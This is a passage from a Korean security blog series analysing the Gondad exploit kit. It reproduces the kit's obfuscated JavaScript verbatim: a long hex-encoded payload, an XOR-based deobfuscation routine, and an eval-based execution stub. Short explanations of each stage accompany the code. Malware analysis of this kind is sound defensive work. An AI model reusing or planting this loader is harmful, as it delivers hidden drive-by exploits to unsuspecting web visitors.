E5960315B25676E6F646066255C3C3D20333131212627226F4240724C5A62305A27666D6C656364275F3C3C213135342B282B7B0D0809656E63746F676F762E77706975646C6F2A203D6B6D67227373623D704B4163505974322E7276663F3E5E2E6B6D673C22283A0D0B0B71647654696F656E74742920666E61756D676E752F77736B76646E6E285E223D646D6367662175696476683C303031226A646B6768763D31217373613F704B4362505975312E7275643F3E5C5C2D656C6365653C5E232B3B222E3231313028390F0B0B7D0D0809646D7364790F0B0B0D0A0B7660732076764343766135223D2176696F666D762C6E6174696660746E702C747165724367646F742F766D4D6D77657043607265292B390C08096964202929777543407563352E6B6E6564784E642A266F73696720372629213C222C33297C7E28767541437663342C696E6665794E6629256F726B6520352728213E212F33282B207B0F0A08656F62776F646C742E75726875656D6C2A233E696670616C64207270613C44514752694A342E69766F6D3C3C5C2D696773616C673C232B3B0D08097C0C0A08676E72672069642829767440407660372E696C6464794F672A256C71696522382628203F222F302B20262420296F61776B6560766F722C757264724065676F762E696C6464794F672A25566B6E646D7772214E5522372F332729223E212C312822242722286E6376686661756D702F60726F757364734C606C65746367652C696F6565794D6429256B6F2529213F202C332B28790D0A0B646E62756C676C752C77726B74646D6E29203E686472616F65217272623F616A4F6D372C68756C6C3F3E5E2E6B6672636D643F2228390F0B0B7D0D08097C0C0A7C0F083A0F0A64676C6475652157656E5447594A303A0C0A65676E647665205A6D7275716B31390C0864656E65756420585052726B5952353B0C0B64646E6775672073697372393B0C0866646E657467206C68496D31390C0864656E65756420725A6677666E45363B0C0B64646E67756720486566504E495434390C0864656E657564204B77547274564A363B0C0B64646E67756720564964604C7731390F0B66656C677464216F756E695760363B0F0A65646C6476672156625853796B313B0C0866646E657467206C565178755676323B0D0864646D65756722466C6443323B0C0B64646E677567204E57495352303A0F0865676C65766521654C68666452343B0D0864646D657567227564467A445959363B0C0866646E6574672070506868644831390D0A66656D647464227B514A53594F373A0C0A65676E647665206A787843353A0F0865676C65766521475456726A65373B0D0864646D6575672263766962514E50373B0C0866646E65746720434D4B72405531390D0A66656D647464227178784D4D7679363A0D0B66676D6774652269464F725930390C0864656E65756420657B4E54313B0D0864646D6575672251774465353B0C0B64646E6775672066637566393B0C0866646E65746720664E714032390C0864656E6575642047447A6049333B0F0A65646C647667215569747471507B363A0F0865676C65766521697858467336390D0A66656D64746422784257526B303B0C0B64646E6775672061774D6B303B0C0866646E6574672055484773634D36390D0A66656D647464225B4972546851333A0C0A65676E647665206B4C4D51474630390C0864656E657564204A68557B323B0D0864646D657567226C434149343B0C0B64646E67756720626F6C67353B0C0866646E6574672074764951485B70363B0D087473787B426D6E6D676374456173636166672A28397D636374626928642B797C0F0A";
2.3. Deobfuscation Unit
해제부는 난독부를 해제하고, 해제된 코드를 실행하는 것 까지 포함하는 부분이다. 공다팩 난독화의 분석을 수작업으로 할 수 있으면 다른 수 많은 난독화들을 분석할 수 있을 만큼 실력이 늘 수 있는 화려한 기법들을 많이 사용하고 있다.
UgoVGYH0="function Xmstqj3(){YRPsiYR7=Math.PI;iGNrX2=Math.tan;skss8=parseInt;miIl3='length';BLKsBW0='test';hxyB5='replace';sXdvdnE4=skss8(~((YRPsiYR7&YRPsiYR7)|(~YRPsiYR7&YRPsiYR7)&(YRPsiYR7&~YRPsiYR7)|(~YRPsiYR7&~YRPsiYR7)));HgfQOIU6=skss8(((sXdvdnE4&sXdvdnE4)|(~sXdvdnE4&sXdvdnE4)&(sXdvdnE4&~sXdvdnE4)|(~sXdvdnE4&~sXdvdnE4))&1);/*www.yylis.com*/JuVsvVJ4=HgfQOIU6<<HgfQOIU6;new function(){NUIRS0=dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[hxyB5](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[BLKsBW0](VKdaMw0));}catch(e){VKdaMw0=sXdvdnE4;}otlkVb6='';TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-HgfQOIU6)VKdaMw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);syzMMty7+=HgfQOIU6;VKdaMw0>>>=0;for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yPHSYM7++){if(mWQywTw0>=(1<<3)){PuDe7=mWQywTw0%(1<<3);}else {PuDe7=mWQywTw0;}dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))dyLU3%=3;otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);}try{new function(){NUIRS0(otlkVb6);}}catch(e){try{new function(){FTWphd5=parseInt;iGNrX2(otlkVb6);}}catch(e) {window.location='.';}}}try{dLidfS6('Xmstqj3();')}catch(e) {try{syzMMty7=sXdvdnE4;dLidfS6('Xmstqj3();');}catch(e){alert('ere');}}"
2.4. Execution Unit
실행부는 문자열로 변수에 저장되어 있는 해제부를 실행하여 최종적으로 난독화를 해제하도록 한다. 즉, 폭탄을 터트리기 위해 심지에 불을 붙이는 부분으로 이해하면 된다.
//{수집부}
faug8="1";delete faug8;try{faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var gOqA0="1";dLidfS6 = eval}qQhifJ0=unescape;
//{난독부}
//{해제부}
tfFzFYX7 = dLidfS6(dLidfS6);tfFzFYX7(UgoVGYH0);
- Next : 공다팩(Gondad EK) 분석 #03
- Next : 공다팩(Gondad EK) 분석 #04
'Information Security > Malware' 카테고리의 다른 글
공다팩(Gondad EK) 분석 #04 (2) | 2014.08.14 |
---|---|
공다팩(Gondad EK) 분석 #03 (3) | 2014.07.11 |
공다팩(Gondad EK) 분석 #01 (0) | 2014.06.27 |
jjencode 분석 (10) | 2014.03.14 |
Sothink SWF Decompiler 3.7 (4) | 2014.01.06 |